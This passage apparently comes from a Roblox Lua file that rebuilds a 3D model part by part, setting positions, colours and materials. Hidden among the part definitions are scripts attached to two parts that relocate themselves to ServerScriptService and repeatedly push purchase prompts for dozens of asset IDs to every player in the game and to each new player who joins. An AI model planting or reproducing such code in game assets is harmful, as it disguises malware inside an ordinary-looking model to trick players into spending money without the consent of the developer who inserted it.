- Part127.BrickColor = BrickColor.new("Institutional white")
- Part127.Material = Enum.Material.DiamondPlate
- Part127.TopSurface = Enum.SurfaceType.Smooth
- Part127.brickColor = BrickColor.new("Institutional white")
- Part127.Shape = Enum.PartType.Cylinder
- Part128.Parent = mas
- Part128.CFrame = CFrame.new(-9.68045902, 90.8364029, 27.6299133, 0, 1, 0, -1, 0, 0, 0, 0, 1)
- Part128.Orientation = Vector3.new(0, 0, -90)
- Part128.Position = Vector3.new(-9.68045902, 90.8364029, 27.6299133)
- Part128.Rotation = Vector3.new(0, 0, -90)
- Part128.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part128.Size = Vector3.new(0.0500000007, 3.8499999, 1)
- Part128.Anchored = true
- Part128.BottomSurface = Enum.SurfaceType.Smooth
- Part128.BrickColor = BrickColor.new("Institutional white")
- Part128.Material = Enum.Material.Neon
- Part128.TopSurface = Enum.SurfaceType.Smooth
- Part128.brickColor = BrickColor.new("Institutional white")
- Part129.Parent = mas
- Part129.CFrame = CFrame.new(-6.20722294, 83.8477097, 33.5295715, 0, 0, -1, -0.996194661, -0.0871569663, 0, -0.0871569663, 0.996194661, 0)
- Part129.Orientation = Vector3.new(0, -90, -95)
- Part129.Position = Vector3.new(-6.20722294, 83.8477097, 33.5295715)
- Part129.Rotation = Vector3.new(95, -90, 0)
- Part129.Size = Vector3.new(3.89999962, 0.650000095, 0.700000167)
- Part129.Anchored = true
- Part129.BottomSurface = Enum.SurfaceType.Smooth
- Part129.Material = Enum.Material.Metal
- Part129.TopSurface = Enum.SurfaceType.Smooth
- Script130.Parent = Part129
- table.insert(cors,sandbox(Script130,function()
- for i=1, 2 do wait "1" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "2" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "9" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "15" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "2" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "9" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "15" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "2" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "9" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "15" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "2" local wat= 4056213658 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056229665 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "9" local wat= 4056212354 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056210981 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "15" local wat= 4056209461 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056207947 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "2" local wat= 4056169430 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056206460 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "9" local wat= 4056171231 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056217842 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "15" local wat= 4056172762 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "2" local wat= 4056175866 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056177509 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "9" local wat= 4056186646 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056185041 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "15" local wat= 4056183483 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "2" local wat= 4056181953 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056180574 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "9" local wat= 4056179120 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056188127 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "15" local wat= 4056189702 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "2" local wat= 4056191326 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056192877 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "9" local wat= 4056194387 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056195837 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "15" local wat= 4056204804 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "2" local wat= 4056203184 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056201664 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "9" local wat= 4056200205 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056198773 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "15" local wat= 4056197320 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- end))
- Part131.Parent = mas
- Part131.CFrame = CFrame.new(-4.68222904, 83.8412476, 19.952652, 0, 0, 1, -0.996194661, -0.0871569663, 0, 0.0871569663, -0.996194661, 0)
- Part131.Orientation = Vector3.new(0, 90, -95)
- Part131.Position = Vector3.new(-4.68222904, 83.8412476, 19.952652)
- Part131.Rotation = Vector3.new(-95, 90, 0)
- Part131.Color = Color3.new(0.0156863, 0.686275, 0.92549)
- Part131.Size = Vector3.new(3.89999962, 0.50000006, 2.35000134)
- Part131.Anchored = true
- Part131.BottomSurface = Enum.SurfaceType.Smooth
- Part131.BrickColor = BrickColor.new("Cyan")
- Part131.Material = Enum.Material.Metal
- Part131.TopSurface = Enum.SurfaceType.Smooth
- Part131.brickColor = BrickColor.new("Cyan")
- Part132.Parent = mas
- Part132.CFrame = CFrame.new(-4.80555058, 14.0370331, 26.9299011, 0, 0, 1, -1, 0, 0, 0, -1, 0)
- Part132.Orientation = Vector3.new(0, 90, -90)
- Part132.Position = Vector3.new(-4.80555058, 14.0370331, 26.9299011)
- Part132.Rotation = Vector3.new(-90, 90, 0)
- Part132.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part132.Size = Vector3.new(0.699999988, 15, 15)
- Part132.Anchored = true
- Part132.BottomSurface = Enum.SurfaceType.Smooth
- Part132.BrickColor = BrickColor.new("Institutional white")
- Part132.Material = Enum.Material.DiamondPlate
- Part132.TopSurface = Enum.SurfaceType.Smooth
- Part132.brickColor = BrickColor.new("Institutional white")
- Part132.Shape = Enum.PartType.Cylinder
- Part133.Parent = mas
- Part133.CFrame = CFrame.new(-13.6076136, 10.0569725, 18.1417847, 0.707106829, 0, -0.707106829, 0, 1, 0, 0.707106829, 0, 0.707106829)
- Part133.Orientation = Vector3.new(0, -45, 0)
- Part133.Position = Vector3.new(-13.6076136, 10.0569725, 18.1417847)
- Part133.Rotation = Vector3.new(0, -45, 0)
- Part133.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part133.Size = Vector3.new(9.94999695, 1.15999997, 0.5)
- Part133.Anchored = true
- Part133.BottomSurface = Enum.SurfaceType.Smooth
- Part133.BrickColor = BrickColor.new("Really black")
- Part133.Material = Enum.Material.Metal
- Part133.TopSurface = Enum.SurfaceType.Smooth
- Part133.brickColor = BrickColor.new("Really black")
- Part134.Parent = mas
- Part134.CFrame = CFrame.new(-3.15729618, 82.9864273, 32.4756775, 0, 0, -1, -1, 0, 0, 0, 1, 0)
- Part134.Orientation = Vector3.new(0, -90, -90)
- Part134.Position = Vector3.new(-3.15729618, 82.9864273, 32.4756775)
- Part134.Rotation = Vector3.new(90, -90, 0)
- Part134.Size = Vector3.new(2.00000048, 2.5999999, 0.699999988)
- Part134.Anchored = true
- Part134.BottomSurface = Enum.SurfaceType.Smooth
- Part134.Material = Enum.Material.Metal
- Part134.TopSurface = Enum.SurfaceType.Smooth
- Part135.Parent = mas
- Part135.CFrame = CFrame.new(-3.15717411, 83.8477097, 20.0273438, 0, 0, 1, -0.996194661, -0.0871569663, 0, 0.0871569663, -0.996194661, 0)
- Part135.Orientation = Vector3.new(0, 90, -95)
- Part135.Position = Vector3.new(-3.15717411, 83.8477097, 20.0273438)
- Part135.Rotation = Vector3.new(-95, 90, 0)
- Part135.Size = Vector3.new(3.89999962, 0.650000095, 0.700000167)
- Part135.Anchored = true
- Part135.BottomSurface = Enum.SurfaceType.Smooth
- Part135.Material = Enum.Material.Metal
- Part135.TopSurface = Enum.SurfaceType.Smooth
- Part136.Parent = mas
- Part136.CFrame = CFrame.new(-6.20710087, 82.9864273, 21.0814209, 0, 0, 1, -1, 0, 0, 0, -1, 0)
- Part136.Orientation = Vector3.new(0, 90, -90)
- Part136.Position = Vector3.new(-6.20710087, 82.9864273, 21.0814209)
- Part136.Rotation = Vector3.new(-90, 90, 0)
- Part136.Size = Vector3.new(2.00000048, 2.5999999, 0.699999988)
- Part136.Anchored = true
- Part136.BottomSurface = Enum.SurfaceType.Smooth
- Part136.Material = Enum.Material.Metal
- Part136.TopSurface = Enum.SurfaceType.Smooth
- Part137.Parent = mas
- Part137.CFrame = CFrame.new(-13.6075068, 10.0569725, 35.7487183, -0.707106829, 0, -0.707106829, 0, 1, 0, 0.707106829, 0, -0.707106829)
- Part137.Orientation = Vector3.new(0, -135, 0)
- Part137.Position = Vector3.new(-13.6075068, 10.0569725, 35.7487183)
- Part137.Rotation = Vector3.new(-180, -45, -180)
- Part137.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part137.Size = Vector3.new(9.94999695, 1.15999997, 0.5)
- Part137.Anchored = true
- Part137.BottomSurface = Enum.SurfaceType.Smooth
- Part137.BrickColor = BrickColor.new("Really black")
- Part137.Material = Enum.Material.Metal
- Part137.TopSurface = Enum.SurfaceType.Smooth
- Part137.brickColor = BrickColor.new("Really black")
- Part138.Parent = mas
- Part138.CFrame = CFrame.new(-10.5056849, 82.9864273, 25.3799133, 0, -1, -0, -1, 0, 0, 0, 0, -1)
- Part138.Orientation = Vector3.new(0, -180, -90)
- Part138.Position = Vector3.new(-10.5056849, 82.9864273, 25.3799133)
- Part138.Rotation = Vector3.new(-180, 0, 90)
- Part138.Size = Vector3.new(2.00000048, 2.5999999, 0.700000167)
- Part138.Anchored = true
- Part138.BottomSurface = Enum.SurfaceType.Smooth
- Part138.Material = Enum.Material.Metal
- Part138.TopSurface = Enum.SurfaceType.Smooth
- Part139.Parent = mas
- Part139.CFrame = CFrame.new(-4.80555058, 58.8868599, 26.9299011, 0, 0, 1, -1, 0, 0, 0, -1, 0)
- Part139.Orientation = Vector3.new(0, 90, -90)
- Part139.Position = Vector3.new(-4.80555058, 58.8868599, 26.9299011)
- Part139.Rotation = Vector3.new(-90, 90, 0)
- Part139.Size = Vector3.new(2.00000262, 14.8000002, 14.8000002)
- Part139.Anchored = true
- Part139.BottomSurface = Enum.SurfaceType.Smooth
- Part139.Material = Enum.Material.DiamondPlate
- Part139.TopSurface = Enum.SurfaceType.Smooth
- Part139.Shape = Enum.PartType.Cylinder
- Part140.Parent = mas
- Part140.CFrame = CFrame.new(-11.6345148, 83.8412476, 26.904953, 0.0871569663, -0.996194661, 0, -0.996194661, -0.0871569663, 0, 0, 0, -1)
- Part140.Orientation = Vector3.new(0, 180, -95)
- Part140.Position = Vector3.new(-11.6345148, 83.8412476, 26.904953)
- Part140.Rotation = Vector3.new(-180, 0, 85)
- Part140.Color = Color3.new(0.0156863, 0.686275, 0.92549)
- Part140.Size = Vector3.new(3.89999962, 0.50000006, 2.35000134)
- Part140.Anchored = true
- Part140.BottomSurface = Enum.SurfaceType.Smooth
- Part140.BrickColor = BrickColor.new("Cyan")
- Part140.Material = Enum.Material.Metal
- Part140.TopSurface = Enum.SurfaceType.Smooth
- Part140.brickColor = BrickColor.new("Cyan")
- Part141.Parent = mas
- Part141.CFrame = CFrame.new(3.99950314, 10.0569725, 18.1416473, -0.707106829, 0, -0.707106829, 0, 1, 0, 0.707106829, 0, -0.707106829)
- Part141.Orientation = Vector3.new(0, -135, 0)
- Part141.Position = Vector3.new(3.99950314, 10.0569725, 18.1416473)
- Part141.Rotation = Vector3.new(-180, -45, -180)
- Part141.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part141.Size = Vector3.new(9.94999695, 1.15999997, 0.5)
- Part141.Anchored = true
- Part141.BottomSurface = Enum.SurfaceType.Smooth
- Part141.BrickColor = BrickColor.new("Really black")
- Part141.Material = Enum.Material.Metal
- Part141.TopSurface = Enum.SurfaceType.Smooth
- Part141.brickColor = BrickColor.new("Really black")
- Part142.Parent = mas
- Part142.CFrame = CFrame.new(-4.80555058, 81.9615479, 26.9299011, 0, 0, 1, -1, 0, 0, 0, -1, 0)
- Part142.Orientation = Vector3.new(0, 90, -90)
- Part142.Position = Vector3.new(-4.80555058, 81.9615479, 26.9299011)
- Part142.Rotation = Vector3.new(-90, 90, 0)
- Part142.Size = Vector3.new(0.150000006, 10, 10)
- Part142.Anchored = true
- Part142.BottomSurface = Enum.SurfaceType.Smooth
- Part142.Material = Enum.Material.DiamondPlate
- Part142.TopSurface = Enum.SurfaceType.Smooth
- Part142.Shape = Enum.PartType.Cylinder
- Decal143.Parent = Part142
- Decal143.Texture = "http://www.roblox.com/asset/?id=1419957678"
- Decal143.Face = Enum.NormalId.Left
- Part144.Parent = mas
- Part144.CFrame = CFrame.new(-6.20719242, 82.9864273, 32.4755249, 0, 0, -1, -1, 0, 0, 0, 1, 0)
- Part144.Orientation = Vector3.new(0, -90, -90)
- Part144.Position = Vector3.new(-6.20719242, 82.9864273, 32.4755249)
- Part144.Rotation = Vector3.new(90, -90, 0)
- Part144.Size = Vector3.new(2.00000048, 2.5999999, 0.700000167)
- Part144.Anchored = true
- Part144.BottomSurface = Enum.SurfaceType.Smooth
- Part144.Material = Enum.Material.Metal
- Part144.TopSurface = Enum.SurfaceType.Smooth
- Script145.Parent = Part144
- table.insert(cors,sandbox(Script145,function()
- for i=1, 2 do wait "1" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "2" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "9" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "15" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "2" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "9" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
